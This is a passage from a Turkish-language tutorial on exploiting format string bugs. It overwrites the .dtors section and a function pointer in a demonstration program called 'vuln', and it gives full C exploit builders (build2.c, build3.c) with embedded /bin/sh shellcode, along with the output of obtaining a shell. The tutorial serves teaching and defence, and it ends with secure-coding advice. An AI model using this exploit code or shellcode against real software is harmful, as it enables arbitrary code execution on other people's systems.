çalıştırılacak fonksiyonların adreslerini içermektedir.
Şimdi bunu vuln
programı üzerine bir uygulayalım.
İlk önce bu bölümlerin bellekteki yerlerini bulmamız gerekecektir.
İkili (binary) program elinizde olduğunda bunu yapmak gerçekten çok kolay ;-)
Daha önce de olduğu gibi sadece objdump
kullanın:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 .dtors bölümünün içeriği: 8049844 ffffffff 00000000 ........İşte burada ! Şimdi gereksinim duyduğumuz herşeye sahibiz.
Bu kullanımının amacı, iki bölümden birinde bulunan adres değerini
çalıştırmak istediğimiz fonksiyonun adresi ile
değiştirmektedir. Eğer, bu bçlümler boş ise, o zaman
bölümün sonunu belirten 0x00000000
değerini değiştirmemiz
yeterli olacaktır. Program, 0x00000000
değerini bulamayacağı için
bir sonraki adres değerini alacaktır, ki bu büyük bir olasılıkla
yanlış olacaktır ve segmentation fault (bölümlendirme hatası)
almamızı sağlayacaktır.
Gerçekte, tek ilginç olan bölüm yoketme (.dtors
)
bölümüdür. Çünkü yaratma (.ctors
) fonkisyonundan
önce bir şey çalıştıracak zamanımız yoktur. Genelde, başlangıç
(0xffffffff
) adresinden 4 byte sonra bulunan adresi
değiştirmek yeterli olacaktır:
0x00000000
değerini
değiştireceğiz;Örneğimize geri dönelim ve .dtors
bölümündeki
0x8049848=0x8049844+4
adresinde bulunan 0x00000000
değeri, adresi 0x8048664
olan
accesForbidden()
fonksiyonunun adresi ile değiştirelim:
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Herşey düzgün çalışmaktadır,
main()
, helloWorld()
ve sonra da çıkış. Daha sonra yoketme fonksiyonu çalıştırmaktadır.
.dtors
bölümü accesForbidden()
fonksiyonun adresi ile başlamaktadır. Ondan sonra herhangi bir gerçek
adres değeri bulunmadığında coredump olayı gerçekleşmektedir.
Burada basit kullanımlar gördük. Aynı prensipleri kullanarak,
kabuk elde edebiliriz. Bunun için ya kabuğu argv[]
parametre olark vererek ya da çevre değişkeni kullanarak gerçekleştirebiliriz.
Yapmamız gereken, .dtors
bölümüne uygun adres değerini
yerleştirmektir.
Şu anda bildiklerimiz:
Gerçekte programlar, örneğimizde olduğu gibi gözel (adres değerlerini belirten) değildir. Bunun için, belleğe bir kabuk koymayı ve daha sonra onun gerçek adresini veren bir yöntem tanıtacağız.
Buradaki fikir exec*()
fonksiyonunun özyenilemeli olarak
çalıştırmaya dayanmaktadır:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Kendini özyenilemeli olarak
nb+1
defa çalıştıracak
giriş değeri nb
tamsayısıdır :
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
arg
ve argv
'nin adres değerlerinin
ilk çalıştırmadan sonra değişmediğini hemen fark etmekteyiz.
Bu özelliği daha sonra kullanacağız. build
programımızı
vuln
programını çalıştırmadan önce kendi kendini çalıştıracak
şekilde değiştiriyoruz. Böylece, argv
'nin tam adresini ve kabuğun
adresini elde etmekteyiz:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //build.c'deki aynı fonksiyon } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adres */ &shellcode, atoi(argv[2])); /* uzaklık */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adres */ argv[2], atoi(argv[4])); /* uzaklık */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Buradaki püf nokta, programa verilen parametre sayısına göre
ne çalıştıracağımızı bilmemizdedir. Başlamak için yapmamız gereken
değiştireceğimiz adres değeri ile uzaklık bilgilerini
build2
programına vermektir. Ardışık çalıştırmalar sonucunda
gerekli değeri program kendisi hesaplayacağından, artık bu değeri
vermemiz gerekmiyor.
Başarmak için build2
ve vuln
programlarının ardışık çalıştırmaları sırasındaki bellek
yapısını olduğu gibi korumamız gerekmektedir (bu nedenledir
ki aynı bellek yapısını kullansın diye build()
fonksiyon
olarak kullanıyoruz):
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Neden çalışmadı? İki çalıştırma sırasında aynı bellek yapısını
kullanmamız gerekmektedir demiştik, ancak bunu uygulamadık!
argv[0]
(programın adı) değişti. İlk önce programın adı
build2
(6 byte) idi ve daha sonra vuln
oldu (4 byte). Aradaki vark 2 byte'dır, bu yukarıdaki örnekte
de fark edebileceğiniz değerdir. build2
ikinci
defa çağırılması sırasında kabuğun adresi sc=0xbffff88f
dir, ancak, vuln
deki argv[2]
değeri
20xbffff891
, yani bizim 2 byte. Bunu çözmek için
programın adını build2
den 4 karakterden oluşan
bui2
olarak değiştirmek yeterli olacaktır:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Yine kazandık : bu şekilde daha iyi çalışmaktadır ;-)
ptrf
'nin gösterdiği adres değerini kabuğun adresini
gösterecek şekilde değiştirdik. Tabii ki bu ancak yığıt çalıştırılabilir
ise yapmak mümkün olmaktadır.
Biçimlendirme katarları her yere yazabileceğimizi sağlamaktadır, o zaman
.dtors
bölümüne yoketme fonksiyonu ekleyelim :
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Yoketme bölümüne kendi çıkış fonksiyonumuzu koyduğumuz için
coredump
oluşmadı. Bunun nedeni bizim kabuk programında
exit(0)
fonksiyonunu çağıran kısmın olmasıdır.
En sonunda, çevre değişkeni aracılıyla kabuk
elde etmemizi sağlayan build3.c
programını hediye olarak veriyoruz:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //build.c'deki aynı fonksiyon } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Tekrar söylemek gerekirse, ortam yığıt üzerinde olduğundan
bellek yapısını değiştirmememiz çok önemlidir (değişkenlerin ve
programa verilen parametrelerin yerlerinin değiştirilmesi gibi).
İkili (derlenmiş) programın adı, vuln
ile aynı byte
sayısına sahip olması gerekmektedir.
Değerleri atamak için extern char
**environ
envrensel değişkenler kullanmayı kararlaştırdık :
environ[0]
: kabuk adresini içermekte;environ[1]
: değiştireceğimiz adres değerini içermektedir;environ[2]
: uzaklık değerini içermektedir.printf()
, syslog()
, gibi fonksiyoniları
çağırırken "%s"
gibi biçimlendirme katarlarının yazılması
demektir. Eğer, mutlaka kullanmak gerekirse, o zaman kullanıcının girmiş
olduğu değerleri çok iyi denetlemek gerekecektir.
exec*()
ile ilgili püf noktadan),
bizi yüreklendirmesinden ve biçimlendirme katarları ve onların kullanımı ile ilgi
yazmış olduğu makaleden dolayı Pascal Kalou Bouchareine'e teşekkür eder.